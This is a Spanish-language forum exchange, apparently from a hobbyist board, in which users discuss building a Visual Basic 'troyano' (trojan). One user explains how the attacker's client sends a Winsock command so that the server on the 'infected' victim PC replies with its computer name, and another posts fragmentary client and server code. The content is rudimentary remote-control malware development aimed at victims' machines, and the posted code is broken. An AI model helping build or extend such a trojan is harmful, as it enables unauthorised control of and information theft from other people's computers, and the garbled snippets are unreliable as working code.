A ver, q no te e entendido bien.. q es lo q kieres q haga el troyano?? q tu en el cliente (el q tienes tu en tu pc) le des a un boton y el ordenador "victima" te mande su nombre? (es decir el nombre del Pc infectado?) o q es lo q kieres hacer? explicate un poco mejor por q no se entiende xD

Salu3

Ok, ya te entendi 

Mira tienes q hacer lo siguiente:
Desde el cliente (el q esta en tu pc) pones un boton q se llame nombre del pc por ejemplo y en su evento click haces q el winsokc envie la palabra "name" por ejemplo, seria algo asi:


Ahora en tu servidor (el q esta en el pc infectado) donde recibes los datos del ws tienes q hacer un select case con los datos recibidos y en el case "name pones esto:


Así lo q recibas en tu cliente será el nombre del pc remoto q puedes mostrar en un msgbox, un label o como tu veas

Si tienes mas dudas pregunta, o pega un poco de tu code y te digo donde ponerlo exactamente

Saludos

PD - Seria interesante q te miraras ejemplillos de troyanos e imites el uso q le dan a la funcion split en la llegada de datos

cliente

boton command

Private Sub NombrePC_Click()
Ws.SendData "Nombre"
End Sub
------

SERVER

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim Nombre As String * 257
Ws.SendData Nombre1.Caption
End Sub
----------

Cliente


Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim Nombre As String
Ws.GetData Nombre
Nombre = Label12.Caption
End Sub


Aqui tienes amigo, podrias echarme una mano?